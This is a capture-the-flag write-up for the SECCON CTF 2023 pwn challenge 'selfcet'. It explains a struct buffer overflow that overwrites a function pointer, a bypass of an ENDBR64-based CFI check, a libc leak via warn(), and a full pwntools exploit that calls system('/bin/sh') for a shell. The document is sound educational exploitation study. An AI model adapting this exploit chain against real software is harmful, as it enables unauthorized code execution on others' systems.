SECCON CTF 2023 - selfcet
Description
selfcet was a pwn challenge in SECCON CTF 20223 Quals.
Source code review
1
2#define KEY_SIZE 0x20
3typedef struct {
4 char key[KEY_SIZE];
5 char buf[KEY_SIZE];
6 const char *error;
7 int status;
8 void (*throw)(int, const char*, ...);
9} ctx_t;
10
11int main() {
12
13 ctx_t ctx = { .error = NULL, .status = 0, .throw = err };
14
15 read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
16 read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));
17
18 encrypt(&ctx);
19 write(STDOUT_FILENO, ctx.buf, KEY_SIZE);
20
21 return 0;
main instantiates a ctx_t variable and sets its throw
member to glibc
function err
and then calls 2 times read_member on it with different offsets and size 88 (sizeof(ctx))
1#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
2#define CFI(f) \
3 ({ \
4 if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
5 __builtin_trap(); \
6 (f); \
7 })
8...
9void read_member(ctx_t *ctx, off_t offset, size_t size) {
10 if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
11 ctx->status = EXIT_FAILURE;
12 ctx->error = "I/O Error";
13 }
14 ctx->buf[strcspn(ctx->buf, "\n")] = '\0';
15
16 if (ctx->status != 0)
17 CFI(ctx->throw)(ctx->status, ctx->error);
18}
read_member calls read on a specific offset of the provided ctx with the given size (88)
then if ctx->status
it not zero it passes ctx->throw
, which is a function pointer, to
CFI and then calls it with ctx->status: int
and ctx->error: char*
CFI fetches the first dword of where ctx->throw
points to and compares it with INSN_ENDBR64
.
If the first dword is not equal to INSN_ENDBR64
it calls the GCC builtn function __builtin_trap()
which according to gcc docs:
This function causes the program to exit abnormally. GCC implements this function by using a target-dependent mechanism (such as intentionally executing an illegal instruction) or by calling abort. The mechanism used may vary from release to release so you should not rely on any particular implementation.
In any other case it returns f
.
In essence, the CFI macro checks if the address where f
points to stores an ENDBR64
instruction.
1void encrypt(ctx_t *ctx) {
2 for (size_t i = 0; i < KEY_SIZE; i++)
3 ctx->buf[i] ^= ctx->key[i];
4}
encrypt()
just preforms a xor operation between ctx->key
and ctx->buf
The Bug
main()
calls 2 times read_member on ctx->buf
and ctx->key
respectively.
Each time the third argument (size) is sizeof(ctx)
which evaluates to 88
meaning that read_member()
will call read(0, ctx->buf/key, 88)
resulting
to a buffer overflow allowing us to corrupt the ctx
struct and, thus the
throw
function pointer.
Exploitation
Mitigations
1[*] 'xor'
2 Arch: amd64-64-little
3 RELRO: Full RELRO
4 Stack: Canary found
5 NX: NX enabled
6 PIE: No PIE (0x3fe000)
`PIE`` is not enabled meaning that we know the base of our binary.
Getting a libc leak
We can use the overflow to point throw
anywhere we want, but
we need to take into consideration.
- that it takes as arguments
(int status, char* error)
. - that
throw
is already populated with the libc functionerr
. - that
throw
must point to the start of a libc function because ofCFI
a great candidate is void warn(const char *fmt);
because it resides at -0x1c0
from err@glibc
The warn() family of functions display a formatted error message on the standard error output. In all
cases, the last component of the program name, a colon character, and a space are output. **If the fmt argument is not NULL, the printf(3)-like formatted error message is output.** The output is terminated by a newline character.
thus, providing a GOT
entry to warn()@glibc
as the first argument we can leak it.
to achieve that we need to preform a partial overwrite on throw
using our buffer overflow.
1io = start()
2
3got_libc_start_main = 0x403fc8
4
5s(b"A"*64 + p64(0) + p64(got_libc_start_main) + p16(0x4010))
6
7ru(b"xor: ")
8leak = u64(r(6).ljust(8, b"\x00"))
9libc.address = leak - libc.sym.__libc_start_main
10log.info(f"libc @ {hex(libc.address)}")
with that snippet we send to the first read_member
: 64 A’s filling the buf and key buffer then
(qword) 0 for char* error
, the address of the GOT entry __libc_start_main
for status as it will
be the first argument to warn
and at the end 2 bytes to preform partial overwrite on throw
member in order to point it to warn
.
(The partial overwrite is subject to ASLR meaning that it might not work each time.)
Calling system("/bin/sh")
Now that we have a libc leak we could try to use the 2nd read_member
call
to overwrite throw
with system
.
The problem here is that the first arg
to throw
is int
meaning that the largest value we can store in it is 0x7fffffff
Thus, if we tried to call system("/bin/sh")
the address of /bin/sh
would get truncated (as it resides in glibc).
Writing /bin/sh to .bss
We could overcome this problem by writing /bin/sh to .bss
because an address
in .bss fits to an int.
But, there is only one call to read_member
remaining meaning that even if we write
/bin/sh
into .bss there isn’t a way to call system with it afterwards.
What we had to do is find a way to restart the program by calling main again.
main()
doesn’t start with an endbr64
instruction, so we need to find a gadget
, probably in glibc
, to call it.
After some searching and some binja fu we found a libc function xdr_free
Now that we have another 2 read_member
calls we can call gets(address_in_bss)
to store
/bin/sh
into .bss
and system(address_in_bss).
exploit.py
1#!/bin/env python3
2
3from pwn import *
4
5elf = context.binary = ELF("./xor", checksec=False)
6libc = ELF("./libc.so.6", checksec=False)
7context.arch = 'amd64'
8context.terminal = ['tmux','splitw','-h']
9io = None
10
11gdbscript = '''
12break *main+71
13br *main+93
14b *read_member+185
15c
16'''
17
18convert = lambda x :x if type(x)==bytes else str(x).encode()
19s = lambda data :io.send(convert(data))
20sl = lambda data :io.sendline(convert(data))
21sla = lambda delim,data :io.sendlineafter(convert(delim), convert(data), timeout=context.timeout)
22ru = lambda delims, drop=True :io.recvuntil(delims, drop, timeout=context.timeout)
23r = lambda n :io.recv(n)
24rl = lambda :io.recvline()
25
26
27HOST, PORT = 'selfcet.seccon.games', 9999
28
29def start():
30 if args.GDB:
31 return gdb.debug(elf.path, gdbscript=gdbscript)
32 if args.REMOTE:
33 return remote(HOST, PORT)
34 else:
35 return process(elf.path)
36
37io = start()
38
39got_libc_start_main = 0x403fc8
40
41s(b"A"*64 + p64(0) + p64(got_libc_start_main) + p16(0xd010))
42
43ru(b"xor: ")
44leak = u64(r(6).ljust(8, b"\x00"))
45libc.address = leak - libc.sym.__libc_start_main
46log.info(f"libc @ {hex(libc.address)}")
47
48
49s(b"B"*0x28 + p64(elf.sym.main) + p64(libc.sym.xdr_free))
50
51print("gets")
52pause()
53s(b"A"*0x48 + p64(elf.bss(0x100)) + p64(libc.sym.gets))
54
55print("/bin/sh")
56pause()
57sl(b"/bin/sh\x00")
58
59print("system")
60pause()
61s(b"B"*0x28 + p64(elf.bss(0x100)) + p64(libc.sym.system))
62io.interactive()